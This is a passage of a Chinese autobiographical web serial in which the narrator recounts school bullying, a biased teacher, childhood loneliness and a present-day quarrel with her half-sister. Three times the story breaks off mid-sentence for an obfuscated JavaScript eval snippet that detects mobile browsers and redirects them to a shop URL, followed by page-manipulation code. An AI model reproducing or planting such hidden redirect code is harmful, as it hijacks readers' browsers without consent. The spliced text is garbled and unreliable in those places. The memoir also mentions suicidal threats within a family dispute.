而那个时候,姥姥也不会给我穿聚拢的内衣,只给我穿个小吊带。 这就导致我跑步的时候,存在感实在是有点强。 女同学因此还嘲笑我。 当时我还一度很自卑,我甚至也一度觉得,娃哈哈AD钙奶搞不好就是罪魁祸首。 但是男同学,对我的态度大多是不同的。 让我最深的,是我们班上一个姓梁的男同学。 他是对我表达过喜欢的,也写过情书,当然,那封情书被我撕碎了。 我也明确表达过,我不喜欢他。 大概我从小就是个颜控吧,我嫌弃他长得不好看,嫌弃他冬天做广播体操的时候就穿一件毛衣,像个傻子。 我还嫌弃他出口成脏,骂人非常难听。 他就是那种贱兮兮的人,看到谁,包括看到我,都会问候一下祖宗、父母,还有不堪入耳的器官…… 不止是我,很多女生都表达过对他的厌恶。 可偏偏这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464811|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,他是不会轻易放过你的。 他曾堵在我放学的路口,故意从背后抱住我,直到我吓得大哭,才放开我,自己跑了。 他还喜欢指着我的鼻子骂我,以弄哭我为乐。 我还记得,刚好那天,我穿了一条白色的八分短裤。 他刚进教室,看到我就开始骂我,他指着我的鼻子问:“你打扮得这么漂亮给谁看?你说你是不是s货?” 我当时不想理他,他就端着一整盆脏水,都倒在了我的裤子上。 白色的短裤,染上了一片黑渍…… 基本上每一次他的恶行,我都会告诉潘老师。 然而,潘老师只是淡淡地看我一眼,没有出口为我说话,也没有责怪过他一句。 忘了告诉大家,这位梁同学就是堡子里的学生。 当时都六年级了,我想着,就忍吧,忍到毕业就好了。 可偏偏,也不知道潘老师是不是故意的,他故意把我和梁同学安排成了同桌。 而同桌之后,就是我又一段噩梦的开始。 有的时候上一些历史课、思想品德课,当着其他老师的面,梁某某就敢骂我、拍我、揪我头发…… 而那些老师忍不住训斥了他一声,他就像是滚刀肉一样,丝毫不在意老师的看法。 而这几个看过他当面欺负我的老师,都曾到办公室,同我的班主任潘老师讲过这件事。 然而潘老师不仅没教训过梁某某,还一直护着他。 学校里唯一替我说过话的,只有赵老师。他在课堂上提起我的名字,都忍不住夸我情绪稳定,说梁某某那么欺负人,我居然一声没吭。 哪有什么情绪稳定,实在是太过无助,只能不吭声。 当然,赵老师还说过梁某某,他说你以后同学聚会的时候,见到人家,提起这件事,你都不会觉得惭愧吗?你那么欺负人! -- 我的座位靠墙,梁某某的座位在外面。 我每天上学,进教室如果晚于他,他就会堵在外面,不让我进去。 我就得一直站在那里,站到老师来了,他才会大发慈悲地站起来,让我坐进去。 后来我实在忍不了,干脆不需要他让,直接爬上桌子,坐进我的座位。 而潘老师明明知道这一切,却反过来指责我,以后不许那么进座位。 要换做之前,我肯定第一时间告诉老师,我说是梁某某不让我进。 但是潘老师长久的无视和纵容,我已经麻木了。 在潘老师说那句话的时候,我连头都没抬。 下次梁某某不给我让位置,我依旧爬进去,我就当着潘老师的面爬进去。 直到,她忍不了了,给我和梁某某换了座位。 我还记得有一次,她让同学们交换语文试卷,互相讨论。 刚好,梁某某的试卷,被传到了我的手上。 看着他的试卷,我真的忍不住笑出声来。 都六年级了,最基础的词语都不懂就算了,还胡编乱造。 我甚至觉得讽刺。 在我的认知里,老师一般会喜欢学习好的同学,而梁某某这样的同学,人品又差,成绩也差,潘老师到底喜欢他什么呢? 潘老师当时注意到了我在低头笑,她走过来看了一眼我手上的试卷,看到是梁某某的名字之后,她还在全班同学的面前,反过来责怪我:“你有什么可笑的?人家学习差怎么了?就你学习好?” 10. 第010章 解气 当时的我还是年纪太小了,根本不懂人情世故。 我这样一个算是留守儿童,家庭条件不好,又没有父母护着的女孩,怎么会让一个道德品质本来就有瑕疵的老师护着你呢? 别人都巴不得讨好老师,给老师家里送礼。 可我当时,什么都没送不说,我还不是她从一年级就带出来的原生学生。 再加上,她本来就不喜欢我。 我还记得一次上课,因为我坐在后排,看不清黑板,整个一节课下来,我都没看清,我眯着眼,很烦躁。 当时,我还不清楚我是近视了。 我姥爷就有眼疾,一只眼完全看不清,另外一只眼是高度近视。所以我妈妈的眼睛也遗传了我姥爷,到我这里,其实我是有一点先天近视的。 但是当时近视的程度不深,加上我从小就个子矮,座位一般都坐在前面,当时还没意识到自己看不清的问题。 那时候刚好六年级,眼睛就好像突然一下子就模糊了。 我能听清楚潘老师讲的什么,但是她在黑板上写的字,画的图,我是一点都看不清。 那种竭力想要看清的感觉真的很累。 她在讲台上滔滔不绝,我累得在下面揉眼睛。 这个小动作被她看到了,就把我叫到黑板上回答问题。 我乍一被叫上去,还有点懵,所以她问的几个问题,我都没反应过来。 她整个人都很烦躁,也没耐心,训了我一句:“全班都听懂了,就你没懂。” 之后,潘老师摔了教鞭,转身就走,然后让班里的女班长教我。 女班长拿过本子教我的时候,她居然还很诧异地问了一句:“你不是会吗?” 我淡淡的“恩”了一声,也没解释我看不清的问题,没跟任何人解释。 我当时还以为,我是不是晚上没睡好,眼睛才会模糊。 后来我回到家之后,告诉了我姥姥,我说我好像看不清黑板了,就是离黑板也不算远,好像看不清了。 那时,我姥姥才意识到我可能是近视了。 我们那小山村,这方面的教育极度匮乏。我当时也是第一次懂,原来这种就叫做近视,需要戴近视眼镜才能看清。 说回女班长,这个女班长的父亲是我们学校的体育老师。女班长平时比较受宠,学校老师都喜欢逗她。她学习成绩也是班里第一,所以即便她不是堡里的学生,潘老师也很照顾她。 当然,女班长的父亲虽然是我们子弟小学的体育老师,但是我不算特别喜欢他。 我记得两件事,一件事是上他的体育课时,我背着我奶奶给我手工织的斜挎包,那个斜挎包就巴掌大一点,像一个上衣兜一样,不是那种很夸张的包。 那个大小,放到现在来说,都装不下我的红米手机。 我们小学的体育课,一般就是自由活动,也很随意。 他原本可以教育我,上他的体育课不许背这个包的,但是他却用极度侮辱人的字眼,当着全班同学的面说:“你知道都什么人带着这种包吗?街上的那些小姐,就背这种包。” 从那天开始,那个小包就被我收了起来,再也没拿出来。 我不喜欢这个体育老师,还有第二个原因。他喜欢用我来鞭策他的女儿。 学校的数学竞赛名额和各种演讲名额,一般都会给他的女儿。教师子女在我们那样的小地方本来就有很大的优待。 我们班上,刚好还有两个教师子女。所以,这种竞赛就安排她们两个去了。 当然,女班长确实成绩很好,另外一个教师子女稍微逊色了一些。 这种名额本身也不会落到我头上,再加上我也不是特别争强好胜的人,出去考试这种事,就算把名额给我,我都未必愿意去。 最后她们两个的数学竞赛成绩不算太好,在镇上一众山村小学里的评比里,有点落后。 体育老师教训他的女儿时,非要拉上我,他说:“当初还不如就让明意(我在本文中的化名)去了。” 女班长当时轻嗤了一声,一脸不屑:“就凭她那熊样的?还不如我呢。” 体育老师听到女儿的话,居然还能笑出声来。 有一说一,我学习成绩确实不如她。但是以我为例,捧一踩一这种行为,让我感到非常不舒服。 后来我才明白,有些家长只要给老师一点好处,老师是真的会在各方面都照顾你。 甚至于,要教训这个孩子的时候,她都会觉得拿人手短,怎么也得宽容一点。 何况,我自己都承认,当年我的思想,的确是有了一些变动。而手下学生一丁点小小的改变,都是逃不过老师的眼睛的。 不过,我喜欢的不是学校里的男孩子,我当时喜欢一个我继父这边的亲戚,算是我的一个远房继堂兄。 我后来回忆起这段的时候,我总在想,我真的喜欢他吗? 好像也没有多喜欢。 少时的心事,是在其他女同学问你的时候,你也需要一个答案,一个你也喜欢什么人的答案。 我喜欢写日记。 我把好不容易攒下来的一点零花钱拿了出来,去附近的文具店,买了一个对当时的我来说很贵的、带密码的日记本。 我在日记本里,把这段懵懂无知的感觉,写了进去。 我很庆幸,我没有写这个人是谁,也没有写他的名字。 所以,当我姥姥拿钳子,暴力弄碎了我的密码日记本时,那个人的名字,还是深深藏在我的心里。 我姥姥问我,喜欢的男孩子是谁。 而我当时看着那碎成纸片的日记本,心疼得说不出话来。 那个笔记本八块多,对当时的我而言,算一笔巨款了。 我当然不会回答,我只会哭着痛诉,痛诉姥姥不该弄碎我的日记本。 这事最后,当然不了了之了。从那之后,我就再也不想偷偷写日记了,我连写日记这种事都很厌恶。 除非是老师布置的家庭作业非逼着我写日记,我才会应付一下差事。 老师布置下来的日记,写出来的东西,是给老师看的,是没有灵魂的。 -- 就在小升初考试之前,男同学间再一次传,说隔壁班那个喜欢我的男生,又写了一个情书给我。 那个情书里写什么,我没看到。 等我知道这件事的时候,那个梁某某和班里的其他两个男同学,一直在争抢着这个东西,闹起来的时候,就差动手了。 梁某某怀恨在心,要抢走这个情书告诉潘老师。 而我们班的男班长,跟那个写情书的男同学是好朋友。他不愿意让这个事情牵连到自己朋友,所以从梁某某的手里抢过来,撕个粉碎,然后丢到墙外的垃圾堆。 没有了证据,梁某某依然不甘心。 潘老师当时刚回到班级,梁某某就第一时间站起来告状。 这个情书没到我手里,他们之间的争抢也跟我无关。 可潘老师却认定,这个事都是我的错。 正好那天下午,我们班上一个姓潘的男同学,抢走了我桌上的五毛钱,他说要借走,明天再还。 你听这个男同学的姓就能猜到,这同学是潘老师的亲戚。 他个子小,还没我高。 我说不借,他抢着我的钱就要跑。 我一把把他拽回来,按在墙上,就去扒他的手,生生把我的钱抢了回来。 刚好这个时候,潘老师进了教室,她厉声问我干什么。 我说:“他抢了我的钱,我去抢回来。” 潘老师说了一句让我震惊无比的话。 直到现在我想起来,我都觉得可笑至极。 她将书狠狠摔在桌上,厉声问我:“他怎么不抢别人的钱,只抢你的?” 我年纪小的时候,就是窝囊,也不敢顶撞老师。 有的时候我写穿越文,我想起这一段,我就想人要是真的能穿越就好了,我第一件事就是回小学六年级,好好怼一下这个潘老师。 可我又不敢想真的穿越回去之后的场面,因为我没长大之前,日子实在是太难熬了。 当时正值周五,我们这位“伟大”的潘老师跟我说:“下周一,让你姥姥来学校一趟吧。” 我私心里不觉得自己犯了错,我虽然表面上答应得十分镇定,但是心里却很慌。 我姥姥就是退休老师,还曾在子弟小学任过教。她即便是年纪大了,被她教过的学生,也都很怕她。 我同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464812|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学的姐姐还问我怕不怕我姥姥?她说她直到现在,看到我姥姥,还是会不自觉地害怕。 我姥姥很严肃,当教师的时候,管理学生也非常严格。 姥姥对我也很严格。 我每天放学回家,姥姥都会问我,今天布置了什么作业? 然后她会把桌子给我放好,让我先做作业。 我姥姥会告诉我:“你先写,你什么时候写完了,大家再什么时候吃饭。你不写完,我们就一直等着你,都不吃饭。” 我还记得有一次,学校突然引进了几台电脑,也给我们安排了一个微机老师。 这个微机老师,还曾是我姥姥的学生。 我们一周只上一节的微机课,他给我们安排了一周作业,就是背键盘上的字母。 当时马上就是第二周的微机课了,班里没有一个人把他的作业当回事。 那天晚上,刚好我姥姥问我,这个微机老师课教的怎么样,都教了什么? 我说,没教什么,只让我们背个键盘。 我姥姥问我:“你会背了吗?” 我摇了摇头,还小声狡辩:“大家都不背。” 我姥姥当时拽了一下灯的开关,跟我说:“那我陪着你背,什么时候背下来了,什么时候睡觉。” 这次背诵,让我印象深刻。 以至于我到了如今的年纪,我还会熟练地背出键盘:“QWERTYUIOP……” 而当时的微机课,全班也只有我背了出来。 所以你看,我姥姥就是这样一个人。 我也很感激我的姥姥,大约正是因为有我姥姥的教导,我才没有烂在泥潭里。 所以,当潘老师让我把已经年迈的姥姥带到学校时,我满心里都是愧疚。 姥姥要照顾我饮食起居,要看顾我的学习,已经很辛苦了。 而我,无疑是在给她添麻烦。 当然,我姥姥没有训我,她只是诧异了一下,让我交代一下情况。 我说话的时候,姥姥也没说什么,只是点了点头,表示她知道了。 班里有男孩子给我写情书这件事,我姥姥很早就知道,所以也不会觉得意外。 周一那天,我先回班上上早自习,我姥姥在潘老师的办公室,听潘老师说情况。 当时说了什么,我没听到。 因为很快,就有人来叫我,去办公室一趟。 我去的时候,校长,潘老师,还有隔壁班教过我的丛老师都在,那几天打架的几个男孩子也在。 潘老师把我姥姥叫去的目的,本来是想教育我的。 然而,她说完情况之后,我姥姥站在那里就说了一句话:“我也是子弟小学退休的老教师,我也不跟你们倚老卖老,我听着这件事,跟我们家孩子无关。” 之后,我姥姥站在那里,挨个把站在那里的男同学问了一遍,他们为什么打架,谁写的情书,情书有没有交到我的手上,都问了。 我姥姥在问询的时候,潘老师站在一边脸色尴尬,一个字都没说。 因为那些男同学自己交代的时候,就可以听出这件事与我无关。不仅与我无关,这件事我还是受害者。 其中的那个梁某某,在学校欺负我的事,几乎是人尽皆知,学校里没有哪个老师不知道的。 女校长也闹了个没理,低下头干脆不吭声了。 除了我姥姥,到最后出声的只有丛老师,她训了一下自己班里的学生。 最后,我姥姥站在那里,转过头问潘老师:“没什么事就让孩子回去上课吧,你还有什么问题吗?” 潘老师摇了摇头,女校长也客客气气的把我姥姥送出了门。 我们的小山村,学校里一有点什么事,闹得我们街坊四邻都会知道。 我姥姥在学校里的事,也通过同学的口口相传,传到了我们几个邻居那里。 幸亏有我姥姥,潘老师终于不敢再找我的麻烦。而那个梁某某,也没再明面上欺负过我。 因为很快,我们就要毕业了。 我姥姥也跟我说:“没几天就毕业了,你正常上学正常上课就好,其他的事,完全不用放在心上。” 可我没想到,临了临了,潘老师又做了一件十分炸裂的事。 11. 第011章 公平 潘老师在班上,唯一夸过我的,就是我的作文。 她经常会拿着我的作文当成范文,在班上朗读。 她还会分析我作文里的结构,说无论什么样的作文题目,别人就写得很苍白。而我的作文,有故事可写,而且还很生动。 不仅如此,她认为我作文最后的总结也很好,积极向上,整篇文章看起来很完整。 唯一的缺点是,我的字写得不好看。 所以,每次镇上有什么作文比赛,她都不会让我去。 我从没有觉得这个有什么问题,因为这种名额,一般都是留给教师子女的。 但是她在班上,也有几个特别喜欢的学生。 老是把名额留给教师子女,她自己可能也觉得不合适。 所以那一次,她特意留了一个题目,让我们在课堂上写作文,她还说这一次公平竞争,不会指定谁。 公平这两个字,从她嘴里说出来,简直像是笑话。 那天的作文前两名,她评出来了,一个是我,一个是刚来的转学生。 然后,她很快就给我们找了理由,她说我字写得不好,到了镇上,人家老师一看我的字,就不会给我高分。 这个理由,我接受了。 我要是能去就去,不能去也无所谓。 至于那个转学生,潘老师给出的理由是,她写作文比较磨蹭,会拖时间。潘老师怕她去了,到时候在固定时间内写不完作文,也不会给高分。 那个转学生,自然也不敢有什么意见。 事情到这里,我本来以为结束了。 大不了,她就指定呗。 反正从前一直这么操作的,班里同学也不敢有什么意见。 可是潘老师却把我的作文拿出来,叫了她一个非常喜欢的同学,手把手地教她怎么把我的作文,变成她的。 我忘了我当时的作文题目是什么,我只记得我当时写的小故事是兵乓球运动员王皓的。 那一年的奥运会,他没有拿到金牌,但是他比赛的时候,我看了全程。 我在作文里写,虽然他最后没有拿到金牌,但是他依然是个英雄,是我心目中的无冕之王。 我可以理解,潘老师把我的作文当成范文,用来教导其他同学如何调整结构。 这是会让我非常自豪的事,但是她不能拿着我的作文,让那个她喜欢的同学逐字逐句地修改,甚至相当于,完全把我的作文,扒到了她的作文上。 潘老师让她也写王皓,帮她改正一下了开头,其他的故事和最后的结论,相当于完全照抄我的。 美名其曰,是借鉴我的好词好句好段。 不让我去可以,抄袭我写出来的东西,简直无耻。 我倒也不会觉得我写出来的小作文多么惊为天人。现在想想,那作文当时觉得再好,也是小学生写出来的东西。 但是我写出来的东西,就算是一团奥利给,你也不能拿来就用。 而且是偷偷摸摸的,被其他同学听到告诉我,我自己悄悄去求证才发现的。 我现在想想只觉得可笑,原来这位潘老师也有廉耻之心,原来教其他同学抄我的作文时,她也会小声地悄悄地教…… 潘老师,只带了我两年。 可是小学期间在她手底下的那两年,真真比其他那四年还要漫长。 后来,我好不容易熬到快毕业了。 镇上的初中举办了一次全□□动会,所谓全□□动会,就是中学部和乡镇管辖内的所有小学,以及全镇的居民都可以报名参加。 因为我们要毕业了,学校让我们这一届六年级的毕业生全员参加。 我是个体育白痴,除了检阅,我什么项目都参加不了。 但是那年的全□□动会,还是让我印象深刻。 那年的全□□动会开了两天半,运动会前一天先去镇上唯一的中学检阅,之后再回到村里,第二天一早集合,再去中学检阅第二次。 之后,中学操场上会有区域划分,我们村的小学会被划分到一个位置,挂上xx小学的牌子。 我没有项目,我只能作为拉拉队,坐在那里为我们的校友加油。 但是到了午休时间,我们学校同学的家长,都会过来把自己的孩子领走,带出去吃饭。 我们马上要毕业了,学校里也不会管我们。 中午艳阳高照,我们小学组的立牌下面,只有我一个人,坐在太阳底下,默默等待着我的同学老师们快点回来。 我姥姥年纪大了,不会到镇上陪着我。 其他的同学,都有爸爸妈妈来接。 学校里的老师,也出去吃饭了。 只有我,在附近的小卖部买个面包,买瓶水,孤独地坐在那里,等着时间一分一秒地过去。 那一刻,我真的好羡慕其他同学,羡慕其他所有人。 我的同学,都有爸爸妈妈的陪伴,唯独我没有。 午休时间,整个中学的操场都是空荡荡的,这独一份的风景,大概也就只有我静静欣赏过。 后来,午休时间结束了,陆陆续续有同学回来,还有人问我午休期间怎么没出去,我只笑了笑,没回答。 我听到后座的同学们,正在讨论中午吃得什么,也在讨论中午爸爸妈妈带他们出去的时候,买了什么好东西。 他们讨论得热火朝天,只有我一个人,默默地听着。 当晚回到家之后,我问姥姥明天运动会可不可以多要两块钱,我说我带了五块钱,中午买完面包和水,下午特别渴,连多喝一瓶水的钱都不够了。 其实我还挺馋运动会上卖的烤肠,但是我没敢跟姥姥开这个口。 不过,我姥姥应该是懂了,她当时给了我十块钱。 我第二天吃到运动会上卖的烤肠了,真的很香。 我姥姥当时虽然是退休教师,但是那几年工资一直很低,退休工资一直是四百多块钱,为此,和我姥姥同一批退休的那些个同事,还上丨访了很多年。 直到我高中的时候,我姥姥的工资才终于有了变化。根据她退休前的教师职称,小教高级,重新给她划定了工资标准。一个月四千多的工资,还一次性弥补了她们那一批教师几万块钱的补偿金。 而我姥爷本身就没有工作,也没有收入,在我小学一年级的时候,我姥爷还因为确诊了脑血栓,动过大手术,家里因此还欠了不少外债。 那些年,我是不敢跟我姥姥开口要钱的。 不过到我小学六年级的时候,我妈妈和我继父在外面赚了钱,每个月都会给我姥打钱。我的零花钱,能比前几年,稍微多了一点。 平时买瓶水,夏天买根雪糕,也不会像之前那么窘迫了。 我姥姥家门口有一条街,门口摆了一排长椅,那些长椅都是我姥爷自己做出来的。 每天晚饭过后,街坊四邻都会坐在长椅上聊聊天。 我姥姥家六间瓦房,东面头一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464813|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间是我姥姥、我姥爷,还有我,我们三个人住。 东面第二间有时候空着,有时候租给来山区下煤窑打工的工人。 东面第三间,是我大舅舅,大舅妈,和我大表哥三个人住。 我大舅妈吃过晚饭之后,就在外面和邻居分享镇上全□□动会的盛况,还分享她去中学带着自己的亲侄女出去吃饭,期间,还去了学校几次,给她亲侄女买了水果和零食,来来回回跑了五六趟。 之后,她不仅在外面说,回到家里也跟我姥姥一直分享,还吐槽镇上卖的油桃不太好吃,还不如我们村里赶集买的。 我大舅妈的这个侄女,我见过一次。 有一年,她来我舅舅家串门,她的父母就开始问我学习成绩,听到我期末考试语文数学只考了九十多分,就开始炫耀他们家的孩子,期末考了双百分。 我当时父母都不在跟前,没人跟他们争一时的长短。我也还小,自然也听不出来他们语气里的得意。 倒是我大舅,闲来没事,非要把我拉到他们屋里,拿出了语文书,就要考我们两个。 我大舅舅先考的是我,他让我背诵课文。 当时全家都知道,我能把整本语文书都倒背如流。 我小时候记忆力好,我是那种老师让大家认真朗读课文,我就真的认认真真大声朗读的那种孩子。 因为早读会朗读,课上会朗读,放学前一段时间也会分出一段时间朗读,所以我自然而然就能记住语文书上的所有内容。 当时我大舅舅考完我之后,就去考我舅妈的侄女,她一篇课文都背不出来,只能惊恐地看着她爸,说这些东西,学校考试都不考。 她也没撒谎,语文课本上好多内容,学校确实不考。 当时我还小,看不懂他们大人间的小九九。 我大舅目的达到了,合上语文书就让我先回去。 而我走之后,那孩子就被她爸踹了一脚。 这还不算,后来我大舅妈还说,她爸回到家之后,想起这件事一次,就揍她一次。 这件事,我大舅妈在我跟前提了好几年。基本上她每想起一次,都会提到她大侄女因为我挨打了,而且被打得特别狠。 说实话,我后来渐渐长大了,我再听到我大舅妈说这事,我还觉得挺愧疚的。 但是说到底,这个事也不能怪我。 要怪就怪她爸,因为一点小事就喜欢打人。要怪就怪我大舅,平时对我不冷不热的,到这种时候非要拿我充场面。 我大舅家的大表哥学习成绩是很差的,平时考试连及格都困难。我大舅虽然不喜欢棍棒教育,但是也不太乐意听旁人炫耀自家的孩子成绩好。 说回这次全□□动会,我大舅妈一直把她的侄女挂在嘴边。 我当时好羡慕啊。就是参加个运动会,人家爸爸妈妈姥姥姥爷,甚至是我大舅妈这个亲姑姑,都会跑到学校,看了她五六趟。 到了晚上,熄灯睡觉。 黑暗中,我姥姥躺在那里,突然小声跟我姥爷说了一句:“老大媳妇今天去中学,跑了五六趟,买了那么多零食和水果,一点都没带明意的份。当舅妈的,哪怕你过去看一眼,给带瓶水也行啊。” 我姥爷笑了一声,没发表评论。 而当时,还在被窝里的我,还没睡着。 白天一个人坐在空荡荡操场里的孤独,在那一刻突然有了实质。 我又不争气的,蒙着被子流眼泪了。 12. 第012章 崩溃 这几天没更新,是因为一直在外地。 前段时间我老公一直出差,我一个人在家里,妹妹总是骂我,所以我很容易在家里胡思乱想,经常性后半夜,一个人一边写这个文一边哭。 我太感性了,回忆过去的时候,也总是把过去的伤口,血淋淋地再撕开一遍。 当时我老公给我订了机票,正好让我过来散散心。 可好死不死的,刚好我散心的这个地方,离我妹妹上学的地方很近,就是同省不同市。 我情绪崩溃的第一个点是,那天我落地之后,我给我妈报平安,我妈说我是姐姐,去她学校看看她吧,还要给我一千块钱,让我以我的名义给我妹妹。 我选择拒绝,我还发了一长串的唠叨,我说我和她已经断绝了关系,不要再刺激我了。 我妈只回了一个好字,并没有逼迫我。 可我后来看着我那段长文字,一条条发过去,我妈只回了一个字,后面甚至没回复我。 我突然发现我像是祥林嫂一样,絮絮叨叨招人烦。 我情绪一直处于崩溃的边缘,那天晚上我老公给我买了甜玉米,我一边吃一边哭,我老公一直问我怎么了,我说玉米太好吃了。 他当然知道不是,我也知道我的借口拙劣,但是我什么都不想说。 那天晚上六点,我老公工作结束之后,陪着我去逛当地的夜市。 有可能是网约车上的音乐太悲伤了,其实现在想想,人家司机师傅放的都是某音热歌,是我的情绪不对劲,所以哭了一路。 面对繁华的夜市,我的情绪依然没有缓和过来。 晚上的时候,我发了一条朋友圈,是我基友看到,过来安慰我,她跟我说,无论发生什么事情,都尽量不要内耗自己,错的那个人,不是我。 道理是这个道理,可是人有的时候,身在局中,很难看清。 我妹妹总喜欢用不想活了来威胁我妈,大概是会闹的孩子有糖吃,所以所有人都小心翼翼的,包括我姥姥,说话都怕伤到她。从前的我也一样,小心翼翼地哄着她。 这一次,我干脆跟我妈说,大不了我也学学哪吒,割骨还父割肉还母,我也去死,能不能让她停止对我的辱骂? 这个周末还好,很累,我去逛了两个景点,每天走了一万五千步,心情稍微纾解了一点。 我也以为,只要我单方面跟她断绝关系,这一切会过去的。 而周一,早上六点,我接到了我妈的电话,说是让我删除什么东西,我一开始是没听明白的,我以为是想让我删除这个文。 这个文我是不会删的,晋江也是不能删除文的,顶多只能隐藏。这个东西即便是没多少人看,这也是我深夜写出来的心血,是我对自己成长至今的控诉,哪怕有一天我死了,这个文也要留下来。 我妹妹之前摸到了我微博骂我,就是我专门为晋江建的那个微博,那个微博没多少粉丝,也没有多少人看,我用那个微博记录文案文名和封面,偶尔,我会用它来公布开文时间。 她骂我的话,我把一部分评论直接举报了,另外把她骂我的两个微博拉黑了,有一部分她骂我的言论,我没删除,可能有部分读者顺着她骂我的那条评论,找到了她的微博,骂了她几句。 具体骂了什么,我没看到,我妈也没跟我说。 我妈妈不懂这些社交软件,她也不用。 我妈妈打电话语气很焦急,一直让我删除。我情绪在这一刻再度崩溃,崩溃到我哭着说话的时候,我妈没听完就挂了我电话,让我冷静一下。 我妹妹也给我留言,我在这里,一条条反驳她骂我的话。 因为我的文章还没有写到那个时间线,所以我只能提前回复。 第一点,她说,如果没有我,她不会活得这么痛苦。 她是个成年人,她自己听听自己说的话有逻辑吗?她活得痛苦,跟我有什么关系呢? 哦,是有关系的,因为我那个拎不清的妈一直嚷嚷着说,如果不是稳住在他们家的地位,如果不是为了好好抚养我长大,她不会生老二。这话,我听我妈说过多次,然而如今,我用这话去问我妈的时候,她又不承认自己说过这话。 我妈怀我妹妹的时候,我已经快上初中了。那我就来复盘一下她当时怀孕的时间线,我妈怀我妹妹的时候,我继父在E城开大修厂,也就是修大型车的厂子,生活渐渐好起来了。 我妈应该的确存着稳固地位的心思,觉得有个孩子,能和我继父走得长远。而我,不过是这其中的一个借口。 我妈怀我妹妹的时候,全家都不赞成。我继奶奶成天阴阳怪气,我继姐更是趁着我妈大肚子的时候,逼迫我妈出来大扫除,清扫天花板。我妈没敢去,我继姐就借题发挥,疯狂骂我妈,而当时,我继奶奶就默默听着,一句话都没拦,无声地纵容我继姐。 我当时住校,一周才回家一次。那天刚好是周五,我哭着求我妈别在这个家里待着了,我们还像以前一样,就两个人一起生活,我妈说,那她肚子里那个怎么办? 第二点,我妹妹说我上学的学费是两万。我当时,我继父非说希望我毕业之后,可以去银行工作,有几个亲戚是银行行长。他让我去学会计。当然,最后也没让我去银行,这是后话了。 而当时会计正好是热门专业,高考规则也不像现在,出了分才能报考,我那个时候是估分,先报考学校,再出高考分数。 因为文综答到历史的时候,时间不太够了,我没看题目就看了一个关键词就急急忙忙答了题,所以估分的时候,我也没敢给历史估太高,导致我实际高考分数比我估分多了四十多分。 我高考成绩是511分。 我继父当时是当地的煤老板,家庭情况还不错,给他儿子办婚宴,也花了不少钱。 我妈和我继父都支持我报会计,所以为了能稳上这个专业,我报了民办二本,当时的学费是11800。我继父当时的说法是,这点学费不算什么。 我妹妹今天指责我学费也是两万,好,那就把我当年的所有数据都摆出来。 我妹妹考大学的时候,我继父煤矿早就已经破产了,他现在外债很多,也当了老赖。 曾经我继父根本不把万把块当钱,现在花点钱都觉得困难,步履维艰。 但是我不知道为什么,我妹妹非要跟我争这口气,她觉得我念的是民办,她也要念民办。 在她高考之前,我甚至还熬夜帮她查了很多学校的分数线,她高考虽然擦线过了二本,但是那些公办的本科,她是可以报的,她想去南方上大学,为何没报公办我不得而知。 我妈妈跟我说,报民办她也是出得起钱的,之所以争论学费这个事,是她和我继父商议好了,第一年的学费我继父出钱。因为我继父收了21万的礼金,可临到开学,我继父反悔了。我妈妈才跟我继父吵起来,继而让我妹妹认为我妈不想给她拿这个钱。 我妹妹还跟我卖惨,说她高中期间看病花了一百,我妈就骂她,到底是因为什么,她心中有数,人家医院给她看病的医生也心中有数,她把自己说得那么惨,也抵不过她和她爸把我妈丢到高速上的事实。 她应该庆幸,她和她爸没把我妈逼死,现在还能闹着跟我妈讲条件。 当然,公说公有理婆说婆有理,她和我妈怎么争论,请问和我有什么关系呢?我们同母异父,姓氏都不同。 好的,接下来说第三点,我结婚之前,我妈说可以给我拿二十万嫁妆,我当时还傻乎乎地信了,我以为我妈真会给我。 那时我继父还没到强弩之末,但是我继父家的亲戚知道我处对象了,也知道我老公家庭条件一般,全都避而远之,说白了,因为我不是他们家的人,他们都不想拿钱,这个钱也不是大钱,就是一分钱的结婚红包都不想出。 我妈想要靠收份子钱,让我继父从中抽十万给我。为了收这个份子钱,我妈逼着我早点结婚,甚至让我先把证领了。 第一次我妈催我尽快结婚,甚至可以假结婚的时候,我都觉得她没有脑子。 我当时和我老公刚处没多久,我是个悲观的人,我觉得万一我们分手了,我以后怎么办?村里人都觉得我结婚了,我肯定不能回去了,我问我妈,你是让我过年的时候,也在外面流浪吗? 第二次的时候,我也清醒了,我觉得我继父那个家的确不是我的家,过年在外面流浪也比回去好。 就还好我老公没觉得,我是嫁不出去了,才被家里急急忙忙塞给他。 我继父和我妈给我办了出阁宴,当天收了七十万的礼金,我继姐当天就坐在那里,把钱拿走,我妈一分钱没拿到。 当天我妈就当着我和我老公的面,跟我继父吵了起来。 